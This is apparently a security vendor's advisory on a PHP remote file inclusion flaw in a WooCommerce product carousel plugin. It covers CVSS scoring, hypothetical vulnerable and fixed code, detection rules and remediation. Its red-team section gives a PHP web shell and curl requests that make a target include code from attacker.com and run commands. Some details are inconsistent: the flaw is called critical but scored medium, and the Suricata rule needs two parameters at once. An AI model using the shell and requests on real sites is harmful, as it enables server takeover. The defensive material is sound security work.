CVE-2024-44048

Executive Summary

CVE-2024-44048 is a critical PHP Remote File Inclusion (RFI) vulnerability discovered in the wpWax Product Carousel Slider & Grid Ultimate for WooCommerce plugin, a WordPress ecosystem component. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary remote files. This can lead to remote code execution (RCE), data exfiltration, and full site compromise. The vulnerability affects all versions up to and including 1.9.10. No official patch has been released, and no public exploit code is available at this time.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and third-party marketplaces. Users are advised to monitor the plugin’s update channel and consider disabling the plugin until a patch is released. The lack of a patch increases supply chain risk for any site using this plugin.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
• Base Score: 6.5 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is 6.5, the potential for remote code execution elevates the real-world risk. The lack of a patch and the plugin’s popularity in WooCommerce stores make it a high-value target for automated attacks.

Deep Dive & Mechanics

The vulnerability is a classic PHP Remote File Inclusion (RFI) (CWE-98). The plugin likely uses a dynamic include or require statement where the filename is constructed from user-supplied input (e.g., via $_GET, $_POST, or $_REQUEST). An attacker can manipulate this input to point to a remote server hosting a malicious PHP file.

Example vulnerable code pattern:

$template = $_GET['template'];
include( $template . '.php' );

An attacker could exploit this by sending a request like:

http://target.com/wp-content/plugins/woo-product-carousel-slider-and-grid-ultimate/some-file.php?template=http://attacker.com/evil

This would cause the server to include and execute http://attacker.com/evil.php, giving the attacker arbitrary code execution on the target server.

Vulnerable vs. Patched Code

Since no patch is available, we can only hypothesize the vulnerable code and a potential fix.

Vulnerable Code (Hypothetical):

// vulnerable.php
$file = $_GET['file'];
include( $file . '.php' );

Patched Code (Hypothetical):

// patched.php
$allowed_files = array('slider', 'grid', 'carousel');
$file = $_GET['file'];
if (in_array($file, $allowed_files)) {
    include( $file . '.php' );
} else {
    // error handling
}

The patch would implement a whitelist of allowed filenames, preventing arbitrary file inclusion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target WordPress site with the vulnerable plugin installed (version <= 1.9.10).
• An attacker-controlled server hosting a malicious PHP file (e.g., evil.txt).

Exploitation Steps:

1. Set up a web server on the attacker machine (e.g., using Python):

   python3 -m http.server 80
   

2. Create a malicious PHP file (e.g., evil.txt):

   <?php
   system($_GET['cmd']);
   ?>
   

3. Send the exploit request:

   curl "http://target.com/wp-content/plugins/woo-product-carousel-slider-and-grid-ultimate/vulnerable.php?file=http://attacker.com/evil"
   

4. Execute commands:

   curl "http://target.com/wp-content/plugins/woo-product-carousel-slider-and-grid-ultimate/vulnerable.php?file=http://attacker.com/evil&cmd=id"
   

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team

Detection Steps:

1. Monitor web server logs for suspicious include/require parameters:

   grep -E '(include|require|file|template|page)=http' /var/log/apache2/access.log
   

2. Check for outbound connections to unknown IPs on port 80/443 from the web server.
3. Review PHP error logs for failed include attempts:

   grep -i 'include' /var/log/php_errors.log
   

Honeypot Setup:

• Deploy a fake vulnerable endpoint to capture attacker payloads:

  <?php
  // honeypot.php
  $log = fopen('honeypot.log', 'a');
  fwrite($log, date('Y-m-d H:i:s') . ' - ' . $_SERVER['REMOTE_ADDR'] . ' - ' . $_SERVER['REQUEST_URI'] . "\n");
  fclose($log);
  ?>
  

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to suspicious IPs/domains from the web server.
  • Requests containing file=http:// or template=http:// in the URI.
• File System IOCs:
  • Unexpected files in the web root (e.g., shell.php, backdoor.php).
  • Modified plugin files (check file integrity with md5sum).
• Log IOCs:
  • PHP error logs showing include(): Failed opening 'http://...'.
  • Web server logs with 200 responses to requests containing file=http://.

Detection Engineering

YARA Rule

rule CVE_2024_44048_RFI_Detection {
    meta:
        description = "Detects attempts to exploit CVE-2024-44048 via RFI in wpWax plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-44048"
    strings:
        $s1 = "include(" nocase
        $s2 = "require(" nocase
        $s3 = "$_GET" nocase
        $s4 = "$_POST" nocase
        $s5 = "$_REQUEST" nocase
        $s6 = "http://" nocase
        $s7 = "https://" nocase
    condition:
        (any of ($s1, $s2)) and (any of ($s3, $s4, $s5)) and (any of ($s6, $s7))
}

Sigma Rule

title: CVE-2024-44048 RFI Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests attempting to exploit PHP Remote File Inclusion in wpWax plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'file=http://'
            - 'file=https://'
            - 'template=http://'
            - 'template=https://'
    condition: selection
falsepositives:
    - Legitimate use of remote includes (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-44048 RFI Exploitation Attempt"; flow:to_server; content:"file=http://"; nocase; http_uri; content:"template=http://"; nocase; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Implement a Web Application Firewall (WAF) rule to block requests containing file=http:// or template=http:// in the URI.
3. Restrict outbound traffic from the web server to only necessary IPs/domains.

Long-term Fix:

• Monitor the plugin’s official page for a security update.
• Apply the patch as soon as it becomes available.
• Consider replacing the plugin with an alternative that is actively maintained.

Configuration Hardening:

• Set allow_url_include = Off in php.ini (if not already).
• Use a security plugin like Wordfence to add an extra layer of protection.

Valters IT – Securing Digital Ecosystems